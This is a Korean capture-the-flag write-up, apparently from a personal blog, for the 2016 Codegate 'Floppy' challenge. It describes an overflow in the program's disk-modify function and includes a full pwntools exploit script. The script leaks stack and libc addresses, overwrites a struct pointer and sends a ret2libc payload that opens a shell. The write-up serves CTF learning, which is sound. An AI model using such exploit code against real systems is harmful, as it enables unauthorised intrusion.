2016 Codegate Floppy writeup
by St1tch
문제는 disk를 정하고 그 disk에 값을 write, read, modify하는 기능은 간단한 프로그램이다.
보호기법으로는 NX와 PIE가 적용되어있다...
PIE는 라이브러리에 적용되는 aslr이라고 생각하면 된다.
보통 __libc_start_main으로 돌아가는 ret주소를 이용해 offset을 알아낸 후 익스플로잇을 한다.
함수프롤로그 부분과, disk의 해당하는 주소에 구조체를 만드는것을 볼 수 있다.
write함수에서 구조체의 구조를 알 수 있다.
flag(4), &data(4), description(10), empty(2), datasize(4)
이런 구조로 되어있다.
ebp-0c에는 선택되어 있는 disk구조체의 주소가 저장되어있다.
위의 정보들을 종합하여보면 대충 이러한 스택프레임 구조로 되어있다.
watermelon문제와 비슷하게 modify함수에 취약한 부분이 있다.
해당 disk의 description부분에 데이터를 37바이트 만큼 쓸 수 있다.
이렇게 되면 구조체 다음주소에 21바이트의 원하는 데이터를 넣을 수 있다.
이를 이용해서 익스플로잇을 작성했다.
1. PIE가 적용되어 있기 때문에 disk1의 주소를 먼저 구하고, __libc_start_main_ret를 구한다.
2. leak시킨 주소를 이용해 어떤 라이브러리를 사용하는지 확인해서 해당 라이브러리의 offset을 들고와 system와 binsh주소를 구한다.
3. disk2의 description을 modify하여 disk1의 &data 를 ebp-8의 주소로 overwrite한다.
4. 다시 disk1의 data를 modify하여 페이로드를 집어넣는다.
import stitch
from pwn import *
s = remote('10.211.55.38', 9001)
raw_input('ready')
#choose
s.recvuntil('>\n')
s.sendline('1')
s.recvuntil('\n\n')
s.sendline('1')
#write
s.recvuntil('>\n')
s.sendline('2')
s.recvuntil(':')
s.sendline('uk')
s.recvuntil(':')
s.sendline('uk')
#ebp addr leak
s.recvuntil('>\n')
s.sendline('4')
s.recvuntil('\n\n')
s.sendline('1')
s.recvuntil('\n\n')
s.sendline('A'*16)
s.recvuntil('>\n')
s.sendline('3')
tmp = s.recvuntil('>\n')
ebp = u32(tmp.split('A'*16)[1].rstrip()[:4]) + 36
ecx = ebp + 24
#main_ret leak
s.sendline('4')
s.recvuntil('\n\n')
s.sendline('1')
s.recvuntil('\n\n')
s.sendline('A' * 32)
s.recvuntil('>\n')
s.sendline('3')
s.recvuntil('>\n')
s.sendline('1')
s.recvuntil('\n\n')
s.sendline('1')
s.recvuntil('>\n')
s.sendline('3')
tmp = s.recvuntil('>\n')
main_ret = u32(tmp.split('DATA')[0][-5:-1])
#calculate system,binsh addr
libc = stitch.find_libc({'main_ret': hex(main_ret)[-3:]})[0]
offset = main_ret - libc['main_ret']
system = offset + libc['system']
binsh = offset + libc['binsh']
target_addr = ebp - 8
#overwrite floppy1 data addr
s.sendline('1')
s.recvuntil('\n\n')
s.sendline('2')
s.recvuntil('>\n')
s.sendline('2')
s.recvuntil('\n\n')
s.sendline('uk')
s.recvuntil('\n\n')
s.sendline('uk')
s.recvuntil('>\n')
s.sendline('4')
s.recvuntil('\n\n')
s.sendline('1')
s.recvuntil('\n\n')
pay = 'A' * 20
pay += p32(target_addr)
s.sendline(pay)
s.recvuntil('>\n')
s.sendline('1')
s.recvuntil('\n\n')
s.sendline('1')
#exploit
s.recvuntil('>\n')
s.sendline('4')
s.recvuntil('\n\n')
s.sendline('2')
s.recvuntil('\n')
pay = p32(ecx)
pay += 'AAAA' * 6
pay += p32(system)
pay += 'AAAA'
pay += p32(binsh)
s.sendline(pay)
s.interactive()
블로그의 정보
튜기's blogg(st1tch)
St1tch